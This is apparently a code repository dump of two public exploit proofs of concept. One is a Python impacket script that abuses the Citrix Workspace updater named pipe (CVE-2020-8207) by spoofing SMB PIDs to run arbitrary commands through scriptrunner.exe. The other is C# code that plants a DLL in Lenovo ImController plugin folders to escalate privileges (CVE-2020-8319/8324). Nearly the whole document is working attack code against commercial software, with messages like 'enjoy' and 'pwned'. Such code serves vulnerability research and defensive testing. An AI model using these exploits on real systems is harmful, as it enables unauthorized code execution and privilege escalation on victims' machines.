├── CVE-2020-8207 └── citrix_workspace.py └── CVE-2020-8319_CVE-2020-8324 └── CVE-2020-8319_CVE-2020-8324.cs /CVE-2020-8207/citrix_workspace.py: -------------------------------------------------------------------------------- 1 | # Requirements: impacket 2 | # Examples: 3 | # python3 citrix_workspace.py -pid 1234 user@localhost (defaults to cmd.exe and hash for Win10 2004 ScriptRunner hash) 4 | # python3 citrix_workspace.py -pid 1234 user@localhost -update-hash 24f4845c08b5629c78de41c46411404ec822390f54431205e66d212e620e4f64 (specify ScriptRunner hash) 5 | # python3 citrix_workspace.py user@localhost (use PID cycling mode to brute force PID) 6 | 7 | import argparse 8 | import sys 9 | import logging 10 | import time 11 | import re 12 | import json 13 | import types 14 | from impacket.examples import logger 15 | from impacket.smbconnection import SMBConnection 16 | from impacket.smb import SMB_DIALECT, SMB 17 | from impacket.smb3structs import SMB2_CREATE, SMB2_SESSION_FLAG_ENCRYPT_DATA 18 | 19 | cru_pid = None 20 | sendSMB_Original = None 21 | 22 | 23 | def getData_Hooked(self, original): 24 | original['Pid'] = cru_pid 25 | return original.orignalGetData() 26 | 27 | 28 | def sendSMB_Hooked(original, packet): 29 | 30 | global sendSMB_Original 31 | 32 | # Some ugly hacks here, essentially we are hooking 33 | # some original SMB1/2 function from impacket so we 34 | # can intercept the calls and patch the PID at the correct point 35 | 36 | if packet['Command'] is SMB2_CREATE: # SMB2/3 37 | # If the command type is create for opening files/named pipes 38 | # then replace the Reserved (PID) field with our spoofed PID 39 | packet["Reserved"] = cru_pid 40 | elif packet['Command'] is SMB.SMB_COM_NT_CREATE_ANDX: # SMB1 41 | # Additional level of hooks here since SMB1 packets are 42 | # handled differently, and in fact the impacket does use 43 | # the real process PID of the client, so we need to override 44 | # that behavior 45 | packet.orignalGetData = packet.getData 46 | packet.getData = types.MethodType(getData_Hooked, packet) 47 | 48 | # Send our packet using original sendSMB function 49 | sendSMB_Original(packet) 50 | 51 | 52 | def openPipe(s, tid, pipe, accessMask): 53 | pipeReady = False 54 | tries = 50 55 | while pipeReady is False and tries > 0: 56 | try: 57 | s.waitNamedPipe(tid,pipe) 58 | pipeReady = True 59 | except Exception as e: 60 | print(str(e)) 61 | tries -= 1 62 | time.sleep(2) 63 | pass 64 | 65 | if tries == 0: 66 | raise Exception('Pipe not ready, aborting') 67 | 68 | fid = s.openFile(tid, pipe, accessMask, creationOption=0x40, fileAttributes=0x80) 69 | 70 | return fid 71 | 72 | 73 | def twos_comp(val, bits): 74 | """compute the 2's complement of int value val""" 75 | if (val & (1 << (bits - 1))) != 0: # if sign bit is set e.g., 8bit: 128-255 76 | val = val - (1 << bits) # compute negative value 77 | return val # return positive value as is 78 | 79 | 80 | def attemptExecution(smbClient, tid, pid, cmd, update_hash): 81 | 82 | logging.info('Attempting to connect to Citrix Update Service pipe') 83 | 84 | fid = openPipe(smbClient, tid, r'\UpdaterServicePipe-800fad42-1d0f-4f66-8e18-8a0938cdc721', 0x12019f) 85 | 86 | logging.info('Successfully opened pipe') 87 | 88 | namedPipeMessage = { 89 | # We want to install an update 90 | "MessageType": 1, 91 | # Signed executable that supports execution of other binaries (Signed Binary Proxy Execution) 92 | "UpdateFilePath": "c:\\windows\\sysnative\\scriptrunner.exe", 93 | # SHA256 hash of scriptrunner.exe, could be different for various OSes/patch level 94 | "UpdateFileHash": "%s" % update_hash, 95 | # Just execute, not interested in waiting for the result 96 | "InstallationTriggerBehavior": 1, 97 | # Command line arguments to pass to scriptrunner, arg[0] = executing program 98 | "CmdLineArguments": 'c:\\windows\\sysnative\\scriptrunner.exe -appvscript %s' % cmd 99 | } 100 | 101 | logging.info('Attempting to send install update command spoofing PID %d' % pid) 102 | response = None 103 | 104 | try: 105 | smbClient.writeNamedPipe(tid, fid, json.dumps(namedPipeMessage) + '\n', True) 106 | logging.info('Write to pipe succeeded, reading response...') 107 | response = json.loads(smbClient.readNamedPipe(tid, fid)) 108 | 109 | except Exception as e: 110 | response = e 111 | 112 | finally: 113 | 114 | smbClient.closeFile(tid, fid) 115 | 116 | if response is not None and isinstance(response, dict) and response['ExitCode'] is not None: 117 | exitCode = twos_comp(response['ExitCode'], 31) 118 | if exitCode >= 0: 119 | logging.info('Command executed successfully, enjoy!') 120 | return True 121 | else: 122 | # Unfortunately -1 could come from a hash mismatch, token errors or 123 | # process launching errors (bad path or not signed). We don't wait for the program to exit, 124 | # so it doesn't represent the exit code of the process. 125 | logging.error('Command execution failed with error %d', exitCode) 126 | else: 127 | logging.error('Command execution failed with exception %s, probably wrong PID', str(response)) 128 | 129 | return False 130 | 131 | 132 | def main(): 133 | 134 | global cru_pid, sendSMB_Original 135 | 136 | logger.init() 137 | 138 | parser = argparse.ArgumentParser(add_help=True, description="SMB client implementation.") 139 | 140 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 141 | parser.add_argument('-pid', action="store", nargs='?', type=int, help='the PID of CitrixReceiverUpdater.exe') 142 | parser.add_argument('-max-pid', action="store", nargs='?', type=int, default=50000, 143 | help='the highest PID to use when in PID cycling mode (default: 50000)') 144 | parser.add_argument('-command', action='store', default="c:\\windows\\system32\\cmd.exe", 145 | help='The command to execute, (Default: c:\\windows\\system32\\cmd.exe)') 146 | parser.add_argument('-update-hash', action='store', default='24f4845c08b5629c78de41c46411404ec822390f54431205e66d212e620e4f64') 147 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 148 | 149 | group = parser.add_argument_group('authentication') 150 | 151 | group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 152 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 153 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 154 | '(KRB5CCNAME) based on target parameters. If valid credentials ' 155 | 'cannot be found, it will use the ones specified in the command ' 156 | 'line') 157 | group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' 158 | '(128 or 256 bits)') 159 | 160 | group = parser.add_argument_group('connection') 161 | 162 | group.add_argument('-dc-ip', action='store', metavar="ip address", 163 | help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 164 | 'the target parameter') 165 | group.add_argument('-target-ip', action='store', metavar="ip address", 166 | help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 167 | 'This is useful when target is the NetBIOS name and you cannot resolve it') 168 | group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", 169 | help='Destination port to connect to SMB Server') 170 | 171 | if len(sys.argv) == 1: 172 | parser.print_help() 173 | sys.exit(1) 174 | 175 | options = parser.parse_args() 176 | cru_pid = options.pid 177 | 178 | if options.debug is True: 179 | logging.getLogger().setLevel(logging.DEBUG) 180 | # Print the Library's installation path 181 | else: 182 | logging.getLogger().setLevel(logging.INFO) 183 | 184 | domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 185 | options.target).groups('') 186 | 187 | # In case the password contains '@' 188 | if '@' in address: 189 | password = password + '@' + address.rpartition('@')[0] 190 | address = address.rpartition('@')[2] 191 | 192 | if options.target_ip is None: 193 | options.target_ip = address 194 | 195 | if domain is None: 196 | domain = '' 197 | 198 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 199 | from getpass import getpass 200 | 201 | password = getpass("Password:") 202 | 203 | if options.aesKey is not None: 204 | options.k = True 205 | 206 | if options.hashes is not None: 207 | lmhash, nthash = options.hashes.split(':') 208 | else: 209 | lmhash = '' 210 | nthash = '' 211 | 212 | try: 213 | smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port)) 214 | 215 | # Store our original sendSMB function for later use 216 | sendSMB_Original = smbClient._SMBConnection.sendSMB 217 | # Hook the sendSMB function ready for interception 218 | smbClient._SMBConnection.sendSMB = types.MethodType(sendSMB_Hooked, smbClient._SMBConnection) 219 | 220 | if options.k is True: 221 | smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip) 222 | else: 223 | smbClient.login(username, password, domain, lmhash, nthash) 224 | 225 | if smbClient.getDialect() != SMB_DIALECT: 226 | # Let's disable SMB3 Encryption for now 227 | smbClient._SMBConnection._Session['SessionFlags'] &= ~SMB2_SESSION_FLAG_ENCRYPT_DATA 228 | 229 | logging.info('Attempting to connect to IPC$') 230 | 231 | tid = smbClient.connectTree('IPC$') 232 | 233 | logging.info('Connected to IPC$') 234 | 235 | if cru_pid is not None: 236 | attemptExecution(smbClient, tid, cru_pid, options.command, options.update_hash) 237 | else: 238 | logging.info("Attempting to exploit using PID cycling mode with max PID %d", options.max_pid) 239 | logging.disable(logging.ERROR) 240 | cru_pid = 4 241 | while cru_pid < options.max_pid and attemptExecution(smbClient, tid, cru_pid, options.command, 242 | options.update_hash) is False: 243 | cru_pid += 4 244 | 245 | logging.disable(logging.DEBUG) 246 | if cru_pid < options.max_pid: 247 | logging.info("Successfully launched program using pid %d", cru_pid) 248 | else: 249 | logging.info("Exhausted PID search range, Citrix Workspace Updates might not be running") 250 | 251 | smbClient.close() 252 | 253 | except Exception as e: 254 | if logging.getLogger().level == logging.DEBUG: 255 | import traceback 256 | 257 | traceback.print_exc() 258 | logging.error(str(e)) 259 | 260 | 261 | if __name__ == "__main__": 262 | main() 263 | 264 | 265 | -------------------------------------------------------------------------------- /CVE-2020-8319_CVE-2020-8324/CVE-2020-8319_CVE-2020-8324.cs: -------------------------------------------------------------------------------- 1 | using Lenovo.Modern.ImController.ImClient.Models; 2 | using Lenovo.Modern.ImController.ImClient.Services; 3 | using Lenovo.Modern.ImController.ImClient.Services.Umdf; 4 | using Lenovo.Modern.ImController.PluginManager.Services; 5 | using Lenovo.Modern.ImController.Shared.Services; 6 | using Lenovo.Modern.Utilities.Patterns.Ioc; 7 | using Lenovo.Modern.Utilities.Services; 8 | using Microsoft.Win32; 9 | using System; 10 | using System.IO; 11 | using System.Threading; 12 | using System.Threading.Tasks; 13 | using System.Xml; 14 | using System.Xml.Serialization; 15 | 16 | namespace Playground { 17 | class LenovoExploit { 18 | 19 | //Replace with your own Uber exploit DLL 20 | const string exploitDLL = ""; 21 | 22 | DeviceDriverAgent _deviceAgent; 23 | 24 | private string Serialize(T instance) { 25 | string result = null; 26 | using (StringWriter stringWriter = new StringWriter()) { 27 | XmlSerializer xmlSerializer = new XmlSerializer(typeof(T)); 28 | using (XmlWriter xmlWriter = XmlWriter.Create(stringWriter)) { 29 | xmlSerializer.Serialize(xmlWriter, instance); 30 | } 31 | result = stringWriter.ToString(); 32 | } 33 | return result; 34 | } 35 | private void CopyFolder(string sourceFolder, string destFolder) { 36 | if (!Directory.Exists(destFolder)) 37 | Directory.CreateDirectory(destFolder); 38 | string[] files = Directory.GetFiles(sourceFolder); 39 | foreach (string file in files) { 40 | string name = Path.GetFileName(file); 41 | string dest = Path.Combine(destFolder, name); 42 | File.Copy(file, dest, true); 43 | } 44 | string[] folders = Directory.GetDirectories(sourceFolder); 45 | foreach (string folder in folders) { 46 | string name = Path.GetFileName(folder); 47 | string dest = Path.Combine(destFolder, name); 48 | CopyFolder(folder, dest); 49 | } 50 | } 51 | 52 | private void PrepareFolders() { 53 | CopyFolder(@"C:\ProgramData\Lenovo\ImController\Plugins\LenovoAppScenarioPluginSystem", @"C:\ProgramData\Lenovo\LenovoAppScenarioPluginSystem_"); 54 | 55 | byte[] data = System.Convert.FromBase64String(exploitDLL); 56 | using (BinaryWriter writer = new BinaryWriter(File.Open(@"C:\ProgramData\Lenovo\LenovoAppScenarioPluginSystem_\x64\TouchScreenContronlDLL.dll", FileMode.Truncate, FileAccess.ReadWrite))) { 57 | writer.Write(data); 58 | } 59 | } 60 | 61 | private async Task GetResponseAsync(Guid taskId, Func responseReceivedHandler, CancellationToken cancelToken) { 62 | BrokerResponse brokerResponse = null; 63 | if (taskId == Guid.Empty) { 64 | throw new ArgumentException(string.Format("Invalid task ID provided: {0}", taskId)); 65 | } 66 | Tuple tuple = await _deviceAgent.WaitForResponseAsync(taskId, cancelToken); 67 | if (tuple == null && cancelToken.IsCancellationRequested) { 68 | throw new BrokerRequestAgentException(string.Format("CancelToken is canceled while waiting for response for task {0}: response pair is null", taskId)) { 69 | ResponseCode = 408 70 | }; 71 | } 72 | if (tuple == null) { 73 | throw new BrokerRequestAgentException(string.Format("Invalid/Empty Broker Response provided for task {0}: response pair is null", taskId)) { 74 | ResponseCode = 408 75 | }; 76 | } 77 | if (string.IsNullOrWhiteSpace(tuple.Item2)) { 78 | throw new BrokerRequestAgentException(string.Format("Invalid/Empty Broker Response XML provided for task {0}", taskId)) { 79 | ResponseCode = 408 80 | }; 81 | } 82 | try { 83 | brokerResponse = Serializer.Deserialize(tuple.Item2); 84 | } catch (Exception) { 85 | Console.WriteLine("GetFinalContractResponseAsync exception on response deserialization. responsePair.Item2 = " + tuple.Item2.Length); 86 | } 87 | if (brokerResponse == null || brokerResponse.Task == null) { 88 | throw new BrokerRequestAgentException("Invalid broker response data") { 89 | ResponseCode = 409 90 | }; 91 | } 92 | return brokerResponse; 93 | } 94 | 95 | private async Task GetFinalContractResponseAsync(Guid taskId, Func responseReceivedHandler, CancellationToken cancelToken) { 96 | BrokerResponse brokerResponse = null; 97 | bool final = false; 98 | while (!final) { 99 | BrokerResponse brokerResponse2 = await GetResponseAsync(taskId, responseReceivedHandler, cancelToken); 100 | brokerResponse = brokerResponse2; 101 | bool flag = false; 102 | if (brokerResponse.Error != null && brokerResponse.Error.ResultCode != 0) { 103 | flag = false; 104 | } 105 | if (!flag || brokerResponse.Task.IsComplete) { 106 | final = true; 107 | } 108 | } 109 | await _deviceAgent.CloseTaskAsync(taskId); 110 | return brokerResponse; 111 | } 112 | 113 | private async Task sendBrokerRequest(BrokerRequest brokerRequest) { 114 | 115 | string command = Serialize(brokerRequest); 116 | 117 | Guid guid = await _deviceAgent.PutRequestAsync(command); 118 | 119 | BrokerResponse br = await GetFinalContractResponseAsync(guid, (func) => { 120 | return true; 121 | }, CancellationToken.None); 122 | 123 | return br; 124 | } 125 | 126 | public async void Exploit() { 127 | 128 | Console.WriteLine("[+] Preparing exploitable plugin package"); 129 | PrepareFolders(); 130 | 131 | Console.WriteLine("[+] Setting up requred BrokerResponseAgent"); 132 | InstanceContainer instance = InstanceContainer.GetInstance(); 133 | instance.RegisterInstance(BrokerResponseAgent.GetInstance()); 134 | instance.RegisterInstance(PluginManager.GetInstance()); 135 | 136 | Console.WriteLine("[+] Setting up UDMF driver agent"); 137 | _deviceAgent = DeviceDriverAgent.GetInstance(); 138 | 139 | if(_deviceAgent == null) { 140 | Console.WriteLine("[!] Failed to get instance of UDMF driver agent, is this a Lenovo machine with ImController installed?"); 141 | return; 142 | } 143 | 144 | BrokerRequest breq = new BrokerRequest(); 145 | breq.Version = "1"; 146 | breq.Authentication = new BrokerAuthentication(); 147 | breq.Authentication.Token = "pwned"; 148 | breq.BrokerRequirements = new BrokerRequirements(); 149 | breq.BrokerRequirements.MinVersion = "1"; 150 | 151 | string contractRequestParameter = @" 152 | 153 | 154 | 155 | 156 | "; 157 | 158 | breq.ContractRequest = new ContractRequest { 159 | Command = new ContractCommandRequest { 160 | Name = "Install-PendingUpdates", 161 | Parameter = contractRequestParameter, 162 | RequestType = "sync" 163 | }, 164 | Name = "ImController" 165 | }; 166 | 167 | Console.WriteLine("[+] Sending Install-PendingUpdates BrokerRequest"); 168 | BrokerResponse br = await sendBrokerRequest(breq); 169 | 170 | if(br.Result != "Success") { 171 | Console.WriteLine("[!] Request for Install-PendingUpdates failed"); 172 | return; 173 | } 174 | 175 | Console.WriteLine("[-] Waiting for plugin to install, this can take a few minutes"); 176 | Thread.Sleep(5000); 177 | while (Directory.Exists(@"C:\ProgramData\Lenovo\ImController\Plugins\LenovoAppScenarioPluginSystem_")) { 178 | Thread.Sleep(1000); 179 | } 180 | Thread.Sleep(1000); 181 | 182 | Console.WriteLine("[+] Package delivered!"); 183 | 184 | Console.WriteLine("[+] Making plugin request to trigger exploit"); 185 | 186 | breq.ContractRequest = new ContractRequest { 187 | Command = new ContractCommandRequest { 188 | Name = "Get-TouchScreenState", 189 | Parameter = null, 190 | RequestType = "sync" 191 | }, 192 | Name = "SystemManagement.AppScenario.System" 193 | }; 194 | 195 | br = await sendBrokerRequest(breq); 196 | 197 | Console.WriteLine("[+] Enjoy"); 198 | } 199 | } 200 | } 201 | --------------------------------------------------------------------------------